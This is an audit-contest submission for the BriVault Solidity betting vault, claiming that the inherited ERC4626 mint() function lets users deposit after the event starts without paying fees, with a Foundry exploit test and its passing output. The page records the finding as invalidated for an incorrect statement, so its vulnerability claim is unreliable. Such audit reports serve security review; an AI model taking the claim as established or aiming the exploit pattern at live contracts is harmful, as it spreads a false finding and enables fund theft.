BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: medium
Likelihood: high
Invalid

Event Start Date Bypass | Still able to deposit fund even after even started

Description

The BriVault contract has a critical vulnerability that allows users to deposit funds after the tournament has started. While the contract properly blocks deposits through the deposit() function once the event begins, it fails to protect the inherited mint() function from the ERC4626 standard. This means attackers can simply call mint() instead of deposit() to bypass all the event timing restrictions. The attacker can wait to see which team is winning before placing their bet, completely breaking the fairness of the tournament betting system. Even worse, when using mint() to deposit, the attacker doesn't pay any participation fees that legitimate users had to pay.

Impact

An attacker can exploit this vulnerability to gain an unfair advantage by depositing funds after the tournament starts when they can already see which teams are performing well. This allows them to bet on likely winners with almost no risk, while honest users who deposited before the event started took the actual risk. The attacker also avoids paying the participation fee that was charged to all legitimate bettors. This completely undermines the entire betting mechanism and can result in honest participants losing their funds to someone who cheated the system. The vulnerability makes the tournament betting vault fundamentally unfair and untrustworthy.

Exploit POC:

Command: forge test --match-test testExploitMintAfterEventStarts -vvv

POC:

┌──(m1s0㉿M1S0)-[~/Desktop/Shepherd/2025-11-brivault-main]
└─$ forge test --match-test testExploitMintAfterEventStarts -vvv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/Exploit.t.sol:ExploitTest
[PASS] testExploitMintAfterEventStarts() (gas: 747774)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.32ms (1.38ms CPU time)
Ran 1 test suite in 13.30ms (6.32ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Exploit Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {BriTechToken} from "../src/briTechToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ExploitTest is Test {
BriVault public briVault;
BriTechToken public token;
address public owner;
address public attacker;
address public victim1;
address public victim2;
address public feeCollector;
uint256 public eventStartDate;
uint256 public eventEndDate;
uint256 public participationFeeBsp = 100;
uint256 public minimumAmount = 100 * 1e18;
string[48] public teams;
function setUp() public {
owner = makeAddr("owner");
attacker = makeAddr("attacker");
victim1 = makeAddr("victim1");
victim2 = makeAddr("victim2");
feeCollector = makeAddr("feeCollector");
eventStartDate = block.timestamp + 1 days;
eventEndDate = block.timestamp + 30 days;
vm.startPrank(owner);
token = new BriTechToken();
token.mint();
briVault = new BriVault(
token,
participationFeeBsp,
eventStartDate,
feeCollector,
minimumAmount,
eventEndDate
);
teams[0] = "Brazil";
teams[1] = "Argentina";
teams[2] = "Germany";
teams[3] = "France";
briVault.setCountry(teams);
vm.stopPrank();
deal(address(token), victim1, 10000 * 1e18);
deal(address(token), victim2, 10000 * 1e18);
deal(address(token), attacker, 50000 * 1e18);
}
function testExploitMintAfterEventStarts() public {
vm.startPrank(victim1);
token.approve(address(briVault), type(uint256).max);
briVault.deposit(5000 * 1e18, victim1);
briVault.joinEvent(0);
vm.stopPrank();
vm.startPrank(victim2);
token.approve(address(briVault), type(uint256).max);
briVault.deposit(5000 * 1e18, victim2);
briVault.joinEvent(1);
vm.stopPrank();
uint256 feeCollectorBalanceBeforeEvent = token.balanceOf(feeCollector);
vm.warp(eventStartDate + 12 hours);
vm.startPrank(address(0xdead));
deal(address(token), address(0xdead), 30000 * 1e18);
token.approve(address(briVault), type(uint256).max);
vm.expectRevert();
briVault.deposit(30000 * 1e18, address(0xdead));
uint256 lateBalanceBefore = token.balanceOf(address(0xdead));
uint256 vaultBalanceBefore = token.balanceOf(address(briVault));
briVault.mint(30000 * 1e18, address(0xdead));
uint256 lateBalanceAfter = token.balanceOf(address(0xdead));
uint256 vaultBalanceAfter = token.balanceOf(address(briVault));
uint256 lateShares = briVault.balanceOf(address(0xdead));
uint256 assetsDepositedByLate = lateBalanceBefore - lateBalanceAfter;
assertGt(lateShares, 0);
assertGt(assetsDepositedByLate, 0);
assertGt(vaultBalanceAfter, vaultBalanceBefore);
assertEq(token.balanceOf(feeCollector), feeCollectorBalanceBeforeEvent);
vm.stopPrank();
}
}
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!